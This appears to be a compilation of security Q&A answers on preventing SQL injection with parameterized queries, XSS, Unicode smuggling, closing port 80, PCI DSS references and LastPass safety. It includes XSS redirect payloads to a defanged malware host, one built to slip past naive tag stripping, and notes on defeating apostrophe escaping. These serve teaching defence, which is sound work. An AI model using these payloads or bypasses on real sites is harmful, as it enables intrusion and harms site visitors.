Even with prepared/callable statements or parameterized queries, the following is incorrect:

// Bad code, don't use
string sqlString = "SELECT * FROM [table] WHERE [col] = '"+ something +"' AND [col2] = @Param";

You must never concatenate your SQL variables.

With SQL server, depending on your chosen language of choice, your query should look something like this:

C#

using (SqlCommand command = new ("SELECT * FROM [tab] WHERE LName = @LName", connection))
{
    // Add new SqlParameter to the command.
    command.Parameters.Add(new SqlParameter("LName", txtBox.Test));

    // Read in the SELECT results.
    SqlDataReader reader = command.ExecuteReader();
    while (reader.Read())
    {
    }
}

Java

Connection con = DriverManager.getConnection("database-connection-string","name","pass");

// Question marks are the bound variables which are parsed in the defined column order.
PreparedStatement findLName = con.prepareStatement("SELECT * FROM [tab] WHERE LName = ?");

// The order in which the question marks appear. You can have more than one in a prepared statement. First one is "1", second is "2", and so on.
findLName.setString(1, Lastname);

findLName.executeQuery();

Statement stmt = con.createStatement();

PHP

Check w3schools for an example, I don't want my answer getting too long.

Note that this still doesn't get rid of potential injection of scripts onto a web page. You could insert exactly as they ask, within acceptable ranges, and then output the results to HTML.

If they insert the following (dumbed-down example):

<script> window.location.href='hxxp://www.mymalwarewebsite.com/'; </script>

...and you output that result to your page, then you're in big trouble. So what if you remove anything from <script> to </script>? What if they insert:

<scri<script>pt> window.location.href='hxxp://www.mymalwarewebsite.com/'; </scri<script>pt>

...? If you remove the script tags with replace, you're still stuck with that exploit.

What you really want is the following in addition to the above:

For C#, you'll want to use HtmlEncode
For Java, you'll want to use Java Html Sanitizer from OWASP
For PHP, you'll want to use HtmlEntities.
For all cases involving unicode parsing, you want to prevent unicode injection.

Shut up, Mark! How do I beat doubling up apostrophes?

You may be able to beat them in different ways; you may be able to force various SQL databases to translate unicode to the local charset. For example, Ā could be converted to A. Even worse: U+02BC, or ʼ would be translated as ', which is U+0027. This is called Unicode-based Smuggling.

Doubling quotes doesn't work in older versions of MySQL.

Although not really an SQL injection attack, you can try to force the website to inject malicious code to display to their users. You can try inserting script tags (read above for an example). Imagine injecting a drive-by download when people view your page, or a user list.
Although not technically an SQL injection attack, you may be able to beat this protection by looking through the console in your browser and checking for integers being sent to the database, and then modify the request. This is called a Direct Object Reference exploit. There are various tools which can do this. Prepared Statements will not protect you against this attack. Please read the OWASP article


Can closing port 80 lead to more security? If a website is running on HTTPS only, is it reasonable to close port 80 of the web server and only leave port 443 open? Does this action provide more security for the website?

Almost all sites leave port 80 open and have it issue a redirect to https://...

The reason for this is that is your site is https://mysite.com/ then most users will access the site by typing mysite.com and their browser will initially try http://mysite.com/ If you've closed port 80 then their request will fail.

The security merits of this have been discussed in this question. It is more secure to disable HTTP, but for most sites the reduction is usability is not worth it. HTTP Strict Transport Security is an option to consider.


Good book on PCI DSS? I need to upgrade my skills on PCI DSS Compliance. I'm looking for a couple of combo: one to cover everything in an extensive way (a sort on encyclopedia to keep as a reference) and a quick guide to keep with me at work.

Any recommendations?

You can't really go wrong with the PCI Security Standards Council document library:

PCI SSC document library

The standard itself is thorough and contains plenty of guidance for each of the controls.

There are also a handful of other specific guidance documents, for example currently the list includes cloud computing guidance, guide to risk assessment etc.

Your relevant SAQ could form the basis of a quick reference.


Do cloud-based password managers invalidate even the most secure architecture? Can an online password vault, like LastPass, be defended through a security assessment that demonstrates the value they provide outweighs the risks of being a high value target?

A valid answer should:

avoid "Is secure" or "Is not secure" in favor of benefits and risk
consider how LastPass specifically differs from storing password
vault files on cloud-based password managers

Edited based on comments.

LastPass is "safe" for most use cases. I suspect that Edward Snowden and Julian Assange do not use it however. (If you're not familiar with these guys, they're both on the run from the US government for releasing classified data).

An important feature of the LastPass design is that their cloud systems never see your passwords. All your passwords are encrypted on your device, using your master password. The LastPass servers only ever see the encrypted passwords. That is a major technical mitigation and makes me happy to use LastPass.

Safe does not mean zero risk. A colleague of mine found a Chrome zero-day that allowed any web site you visited to steal passwords from your LastPass vault. But all web browsers have had a number of similar vulnerabilities, and despite this, they are generally considered "safe" for typical uses.